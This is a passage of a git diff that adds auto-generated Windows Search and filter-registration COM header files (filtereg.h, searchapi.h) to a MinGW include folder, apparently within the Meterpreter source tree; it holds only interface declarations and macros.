+#define __ILoadFilter_FWD_DEFINED__
+typedef interface ILoadFilter ILoadFilter;
+
+#endif 	/* __ILoadFilter_FWD_DEFINED__ */
+
+
+#ifndef __ILoadFilterWithPrivateComActivation_FWD_DEFINED__
+#define __ILoadFilterWithPrivateComActivation_FWD_DEFINED__
+typedef interface ILoadFilterWithPrivateComActivation ILoadFilterWithPrivateComActivation;
+
+#endif 	/* __ILoadFilterWithPrivateComActivation_FWD_DEFINED__ */
+
+
+/* header files for imported files */
+#include "oaidl.h"
+#include "ocidl.h"
+#include "filter.h"
+
+#ifdef __cplusplus
+extern "C"{
+#endif 
+
+
+/* interface __MIDL_itf_filtereg_0000_0000 */
+/* [local] */ 
+
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+EXTERN_C const CLSID CLSID_FilterRegistration;
+
+
+extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0000_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0000_v0_0_s_ifspec;
+
+#ifndef __ILoadFilter_INTERFACE_DEFINED__
+#define __ILoadFilter_INTERFACE_DEFINED__
+
+/* interface ILoadFilter */
+/* [unique][helpstring][uuid][object] */ 
+
+typedef struct _FILTERED_DATA_SOURCES
+    {
+    const WCHAR *pwcsExtension;
+    const WCHAR *pwcsMime;
+    const CLSID *pClsid;
+    const WCHAR *pwcsOverride;
+    } 	FILTERED_DATA_SOURCES;
+
+
+EXTERN_C const IID IID_ILoadFilter;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("c7310722-ac80-11d1-8df3-00c04fb6ef4f")
+    ILoadFilter : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE LoadIFilter( 
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE LoadIFilterFromStorage( 
+            /* [in] */ __RPC__in_opt IStorage *pStg,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE LoadIFilterFromStream( 
+            /* [in] */ __RPC__in_opt IStream *pStm,
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ILoadFilterVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ILoadFilter * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ILoadFilter * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ILoadFilter * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadIFilter )( 
+            __RPC__in ILoadFilter * This,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStorage )( 
+            __RPC__in ILoadFilter * This,
+            /* [in] */ __RPC__in_opt IStorage *pStg,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStream )( 
+            __RPC__in ILoadFilter * This,
+            /* [in] */ __RPC__in_opt IStream *pStm,
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
+        
+        END_INTERFACE
+    } ILoadFilterVtbl;
+
+    interface ILoadFilter
+    {
+        CONST_VTBL struct ILoadFilterVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ILoadFilter_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ILoadFilter_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ILoadFilter_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ILoadFilter_LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt)	\
+    ( (This)->lpVtbl -> LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) ) 
+
+#define ILoadFilter_LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt)	\
+    ( (This)->lpVtbl -> LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) ) 
+
+#define ILoadFilter_LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt)	\
+    ( (This)->lpVtbl -> LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ILoadFilter_INTERFACE_DEFINED__ */
+
+
+#ifndef __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__
+#define __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__
+
+/* interface ILoadFilterWithPrivateComActivation */
+/* [unique][helpstring][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ILoadFilterWithPrivateComActivation;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("40BDBD34-780B-48D3-9BB6-12EBD4AD2E75")
+    ILoadFilterWithPrivateComActivation : public ILoadFilter
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE LoadIFilterWithPrivateComActivation( 
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *filteredSources,
+            /* [in] */ BOOL useDefault,
+            /* [out] */ __RPC__out CLSID *filterClsid,
+            /* [out] */ __RPC__out BOOL *isFilterPrivateComActivated,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **filterObj) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ILoadFilterWithPrivateComActivationVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ILoadFilterWithPrivateComActivation * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ILoadFilterWithPrivateComActivation * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ILoadFilterWithPrivateComActivation * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadIFilter )( 
+            __RPC__in ILoadFilterWithPrivateComActivation * This,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStorage )( 
+            __RPC__in ILoadFilterWithPrivateComActivation * This,
+            /* [in] */ __RPC__in_opt IStorage *pStg,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStream )( 
+            __RPC__in ILoadFilterWithPrivateComActivation * This,
+            /* [in] */ __RPC__in_opt IStream *pStm,
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
+            /* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
+            /* [in] */ BOOL fUseDefault,
+            /* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
+            /* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
+            /* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadIFilterWithPrivateComActivation )( 
+            __RPC__in ILoadFilterWithPrivateComActivation * This,
+            /* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *filteredSources,
+            /* [in] */ BOOL useDefault,
+            /* [out] */ __RPC__out CLSID *filterClsid,
+            /* [out] */ __RPC__out BOOL *isFilterPrivateComActivated,
+            /* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **filterObj);
+        
+        END_INTERFACE
+    } ILoadFilterWithPrivateComActivationVtbl;
+
+    interface ILoadFilterWithPrivateComActivation
+    {
+        CONST_VTBL struct ILoadFilterWithPrivateComActivationVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ILoadFilterWithPrivateComActivation_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ILoadFilterWithPrivateComActivation_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ILoadFilterWithPrivateComActivation_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ILoadFilterWithPrivateComActivation_LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt)	\
+    ( (This)->lpVtbl -> LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) ) 
+
+#define ILoadFilterWithPrivateComActivation_LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt)	\
+    ( (This)->lpVtbl -> LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) ) 
+
+#define ILoadFilterWithPrivateComActivation_LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt)	\
+    ( (This)->lpVtbl -> LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) ) 
+
+
+#define ILoadFilterWithPrivateComActivation_LoadIFilterWithPrivateComActivation(This,filteredSources,useDefault,filterClsid,isFilterPrivateComActivated,filterObj)	\
+    ( (This)->lpVtbl -> LoadIFilterWithPrivateComActivation(This,filteredSources,useDefault,filterClsid,isFilterPrivateComActivated,filterObj) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_filtereg_0000_0002 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+
+
+extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0002_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0002_v0_0_s_ifspec;
+
+/* Additional Prototypes for ALL interfaces */
+
+/* end of Additional Prototypes */
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+
+
diff --git a/c/meterpreter/source/mingw-include/searchapi.h b/c/meterpreter/source/mingw-include/searchapi.h
new file mode 100644
index 00000000..4e57a101
--- /dev/null
+++ b/c/meterpreter/source/mingw-include/searchapi.h
@@ -0,0 +1,5446 @@
+/* this ALWAYS GENERATED file contains the definitions for the interfaces */
+
+
+ /* File created by MIDL compiler version 8.01.0622 */
+/* @@MIDL_FILE_HEADING(  ) */
+
+
+
+/* verify that the <rpcndr.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCNDR_H_VERSION__
+#define __REQUIRED_RPCNDR_H_VERSION__ 500
+#endif
+
+/* verify that the <rpcsal.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCSAL_H_VERSION__
+#define __REQUIRED_RPCSAL_H_VERSION__ 100
+#endif
+
+#include "rpc.h"
+#include "rpcndr.h"
+
+#ifndef __RPCNDR_H_VERSION__
+#error this stub requires an updated version of <rpcndr.h>
+#endif /* __RPCNDR_H_VERSION__ */
+
+#ifndef COM_NO_WINDOWS_H
+#include "windows.h"
+#include "ole2.h"
+#endif /*COM_NO_WINDOWS_H*/
+
+#ifndef __searchapi_h__
+#define __searchapi_h__
+
+#if defined(_MSC_VER) && (_MSC_VER >= 1020)
+#pragma once
+#endif
+
+/* Forward Declarations */ 
+
+#ifndef __IUrlAccessor_FWD_DEFINED__
+#define __IUrlAccessor_FWD_DEFINED__
+typedef interface IUrlAccessor IUrlAccessor;
+
+#endif 	/* __IUrlAccessor_FWD_DEFINED__ */
+
+
+#ifndef __IUrlAccessor2_FWD_DEFINED__
+#define __IUrlAccessor2_FWD_DEFINED__
+typedef interface IUrlAccessor2 IUrlAccessor2;
+
+#endif 	/* __IUrlAccessor2_FWD_DEFINED__ */
+
+
+#ifndef __IUrlAccessor3_FWD_DEFINED__
+#define __IUrlAccessor3_FWD_DEFINED__
+typedef interface IUrlAccessor3 IUrlAccessor3;
+
+#endif 	/* __IUrlAccessor3_FWD_DEFINED__ */
+
+
+#ifndef __IUrlAccessor4_FWD_DEFINED__
+#define __IUrlAccessor4_FWD_DEFINED__
+typedef interface IUrlAccessor4 IUrlAccessor4;
+
+#endif 	/* __IUrlAccessor4_FWD_DEFINED__ */
+
+
+#ifndef __IOpLockStatus_FWD_DEFINED__
+#define __IOpLockStatus_FWD_DEFINED__
+typedef interface IOpLockStatus IOpLockStatus;
+
+#endif 	/* __IOpLockStatus_FWD_DEFINED__ */
+
+
+#ifndef __ISearchProtocolThreadContext_FWD_DEFINED__
+#define __ISearchProtocolThreadContext_FWD_DEFINED__
+typedef interface ISearchProtocolThreadContext ISearchProtocolThreadContext;
+
+#endif 	/* __ISearchProtocolThreadContext_FWD_DEFINED__ */
+
+
+#ifndef __ISearchProtocol_FWD_DEFINED__
+#define __ISearchProtocol_FWD_DEFINED__
+typedef interface ISearchProtocol ISearchProtocol;
+
+#endif 	/* __ISearchProtocol_FWD_DEFINED__ */
+
+
+#ifndef __ISearchProtocol2_FWD_DEFINED__
+#define __ISearchProtocol2_FWD_DEFINED__
+typedef interface ISearchProtocol2 ISearchProtocol2;
+
+#endif 	/* __ISearchProtocol2_FWD_DEFINED__ */
+
+
+#ifndef __IProtocolHandlerSite_FWD_DEFINED__
+#define __IProtocolHandlerSite_FWD_DEFINED__
+typedef interface IProtocolHandlerSite IProtocolHandlerSite;
+
+#endif 	/* __IProtocolHandlerSite_FWD_DEFINED__ */
+
+
+#ifndef __ISearchRoot_FWD_DEFINED__
+#define __ISearchRoot_FWD_DEFINED__
+typedef interface ISearchRoot ISearchRoot;
+
+#endif 	/* __ISearchRoot_FWD_DEFINED__ */
+
+
+#ifndef __IEnumSearchRoots_FWD_DEFINED__
+#define __IEnumSearchRoots_FWD_DEFINED__
+typedef interface IEnumSearchRoots IEnumSearchRoots;
+
+#endif 	/* __IEnumSearchRoots_FWD_DEFINED__ */
+
+
+#ifndef __ISearchScopeRule_FWD_DEFINED__
+#define __ISearchScopeRule_FWD_DEFINED__
+typedef interface ISearchScopeRule ISearchScopeRule;
+
+#endif 	/* __ISearchScopeRule_FWD_DEFINED__ */
+
+
+#ifndef __IEnumSearchScopeRules_FWD_DEFINED__
+#define __IEnumSearchScopeRules_FWD_DEFINED__
+typedef interface IEnumSearchScopeRules IEnumSearchScopeRules;
+
+#endif 	/* __IEnumSearchScopeRules_FWD_DEFINED__ */
+
+
+#ifndef __ISearchCrawlScopeManager_FWD_DEFINED__
+#define __ISearchCrawlScopeManager_FWD_DEFINED__
+typedef interface ISearchCrawlScopeManager ISearchCrawlScopeManager;
+
+#endif 	/* __ISearchCrawlScopeManager_FWD_DEFINED__ */
+
+
+#ifndef __ISearchCrawlScopeManager2_FWD_DEFINED__
+#define __ISearchCrawlScopeManager2_FWD_DEFINED__
+typedef interface ISearchCrawlScopeManager2 ISearchCrawlScopeManager2;
+
+#endif 	/* __ISearchCrawlScopeManager2_FWD_DEFINED__ */
+
+
+#ifndef __ISearchItemsChangedSink_FWD_DEFINED__
+#define __ISearchItemsChangedSink_FWD_DEFINED__
+typedef interface ISearchItemsChangedSink ISearchItemsChangedSink;
+
+#endif 	/* __ISearchItemsChangedSink_FWD_DEFINED__ */
+
+
+#ifndef __ISearchPersistentItemsChangedSink_FWD_DEFINED__
+#define __ISearchPersistentItemsChangedSink_FWD_DEFINED__
+typedef interface ISearchPersistentItemsChangedSink ISearchPersistentItemsChangedSink;
+
+#endif 	/* __ISearchPersistentItemsChangedSink_FWD_DEFINED__ */
+
+
+#ifndef __ISearchViewChangedSink_FWD_DEFINED__
+#define __ISearchViewChangedSink_FWD_DEFINED__
+typedef interface ISearchViewChangedSink ISearchViewChangedSink;
+
+#endif 	/* __ISearchViewChangedSink_FWD_DEFINED__ */
+
+
+#ifndef __ISearchNotifyInlineSite_FWD_DEFINED__
+#define __ISearchNotifyInlineSite_FWD_DEFINED__
+typedef interface ISearchNotifyInlineSite ISearchNotifyInlineSite;
+
+#endif 	/* __ISearchNotifyInlineSite_FWD_DEFINED__ */
+
+
+#ifndef __ISearchCatalogManager_FWD_DEFINED__
+#define __ISearchCatalogManager_FWD_DEFINED__
+typedef interface ISearchCatalogManager ISearchCatalogManager;
+
+#endif 	/* __ISearchCatalogManager_FWD_DEFINED__ */
+
+
+#ifndef __ISearchCatalogManager2_FWD_DEFINED__
+#define __ISearchCatalogManager2_FWD_DEFINED__
+typedef interface ISearchCatalogManager2 ISearchCatalogManager2;
+
+#endif 	/* __ISearchCatalogManager2_FWD_DEFINED__ */
+
+
+#ifndef __ISearchQueryHelper_FWD_DEFINED__
+#define __ISearchQueryHelper_FWD_DEFINED__
+typedef interface ISearchQueryHelper ISearchQueryHelper;
+
+#endif 	/* __ISearchQueryHelper_FWD_DEFINED__ */
+
+
+#ifndef __IRowsetPrioritization_FWD_DEFINED__
+#define __IRowsetPrioritization_FWD_DEFINED__
+typedef interface IRowsetPrioritization IRowsetPrioritization;
+
+#endif 	/* __IRowsetPrioritization_FWD_DEFINED__ */
+
+
+#ifndef __IRowsetEvents_FWD_DEFINED__
+#define __IRowsetEvents_FWD_DEFINED__
+typedef interface IRowsetEvents IRowsetEvents;
+
+#endif 	/* __IRowsetEvents_FWD_DEFINED__ */
+
+
+#ifndef __ISearchManager_FWD_DEFINED__
+#define __ISearchManager_FWD_DEFINED__
+typedef interface ISearchManager ISearchManager;
+
+#endif 	/* __ISearchManager_FWD_DEFINED__ */
+
+
+#ifndef __ISearchManager2_FWD_DEFINED__
+#define __ISearchManager2_FWD_DEFINED__
+typedef interface ISearchManager2 ISearchManager2;
+
+#endif 	/* __ISearchManager2_FWD_DEFINED__ */
+
+
+#ifndef __ISearchLanguageSupport_FWD_DEFINED__
+#define __ISearchLanguageSupport_FWD_DEFINED__
+typedef interface ISearchLanguageSupport ISearchLanguageSupport;
+
+#endif 	/* __ISearchLanguageSupport_FWD_DEFINED__ */
+
+
+#ifndef __ISearchCatalogManager_FWD_DEFINED__
+#define __ISearchCatalogManager_FWD_DEFINED__
+typedef interface ISearchCatalogManager ISearchCatalogManager;
+
+#endif 	/* __ISearchCatalogManager_FWD_DEFINED__ */
+
+
+#ifndef __ISearchCatalogManager2_FWD_DEFINED__
+#define __ISearchCatalogManager2_FWD_DEFINED__
+typedef interface ISearchCatalogManager2 ISearchCatalogManager2;
+
+#endif 	/* __ISearchCatalogManager2_FWD_DEFINED__ */
+
+
+#ifndef __ISearchQueryHelper_FWD_DEFINED__
+#define __ISearchQueryHelper_FWD_DEFINED__
+typedef interface ISearchQueryHelper ISearchQueryHelper;
+
+#endif 	/* __ISearchQueryHelper_FWD_DEFINED__ */
+
+
+#ifndef __ISearchItemsChangedSink_FWD_DEFINED__
+#define __ISearchItemsChangedSink_FWD_DEFINED__
+typedef interface ISearchItemsChangedSink ISearchItemsChangedSink;
+
+#endif 	/* __ISearchItemsChangedSink_FWD_DEFINED__ */
+
+
+#ifndef __ISearchCrawlScopeManager_FWD_DEFINED__
+#define __ISearchCrawlScopeManager_FWD_DEFINED__
+typedef interface ISearchCrawlScopeManager ISearchCrawlScopeManager;
+
+#endif 	/* __ISearchCrawlScopeManager_FWD_DEFINED__ */
+
+
+#ifndef __IEnumSearchScopeRules_FWD_DEFINED__
+#define __IEnumSearchScopeRules_FWD_DEFINED__
+typedef interface IEnumSearchScopeRules IEnumSearchScopeRules;
+
+#endif 	/* __IEnumSearchScopeRules_FWD_DEFINED__ */
+
+
+#ifndef __ISearchManager_FWD_DEFINED__
+#define __ISearchManager_FWD_DEFINED__
+typedef interface ISearchManager ISearchManager;
+
+#endif 	/* __ISearchManager_FWD_DEFINED__ */
+
+
+#ifndef __ISearchManager2_FWD_DEFINED__
+#define __ISearchManager2_FWD_DEFINED__
+typedef interface ISearchManager2 ISearchManager2;
+
+#endif 	/* __ISearchManager2_FWD_DEFINED__ */
+
+
+#ifndef __CSearchManager_FWD_DEFINED__
+#define __CSearchManager_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class CSearchManager CSearchManager;
+#else
+typedef struct CSearchManager CSearchManager;
+#endif /* __cplusplus */
+
+#endif 	/* __CSearchManager_FWD_DEFINED__ */
+
+
+#ifndef __CSearchRoot_FWD_DEFINED__
+#define __CSearchRoot_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class CSearchRoot CSearchRoot;
+#else
+typedef struct CSearchRoot CSearchRoot;
+#endif /* __cplusplus */
+
+#endif 	/* __CSearchRoot_FWD_DEFINED__ */
+
+
+#ifndef __CSearchScopeRule_FWD_DEFINED__
+#define __CSearchScopeRule_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class CSearchScopeRule CSearchScopeRule;
+#else
+typedef struct CSearchScopeRule CSearchScopeRule;
+#endif /* __cplusplus */
+
+#endif 	/* __CSearchScopeRule_FWD_DEFINED__ */
+
+
+#ifndef __FilterRegistration_FWD_DEFINED__
+#define __FilterRegistration_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class FilterRegistration FilterRegistration;
+#else
+typedef struct FilterRegistration FilterRegistration;
+#endif /* __cplusplus */
+
+#endif 	/* __FilterRegistration_FWD_DEFINED__ */
+
+
+/* header files for imported files */
+#include "unknwn.h"
+#include "objidl.h"
+#include "ocidl.h"
+#include "propidl.h"
+#include "filter.h"
+#include "filtereg.h"
+#include "propsys.h"
+#include "oledb.h"
+#include "structuredquery.h"
+
+#ifdef __cplusplus
+extern "C"{
+#endif 
+
+
+/* interface __MIDL_itf_searchapi_0000_0000 */
+/* [local] */ 
+
+//+----------------------------------------------------------------------------
+//
+//    Copyright (c) 2005 Microsoft Corporation.
+//    Search API Interface
+//
+//-----------------------------------------------------------------------------
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+typedef LONG ITEMID;
+
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0000_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0000_v0_0_s_ifspec;
+
+#ifndef __IUrlAccessor_INTERFACE_DEFINED__
+#define __IUrlAccessor_INTERFACE_DEFINED__
+
+/* interface IUrlAccessor */
+/* [unique][public][helpstring][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IUrlAccessor;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("0b63e318-9ccc-11d0-bcdb-00805fccce04")
+    IUrlAccessor : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE AddRequestParameter( 
+            /* [in] */ __RPC__in PROPSPEC *pSpec,
+            /* [in] */ __RPC__in PROPVARIANT *pVar) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetDocFormat( 
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocFormat[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetCLSID( 
+            /* [out] */ __RPC__out CLSID *pClsid) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetHost( 
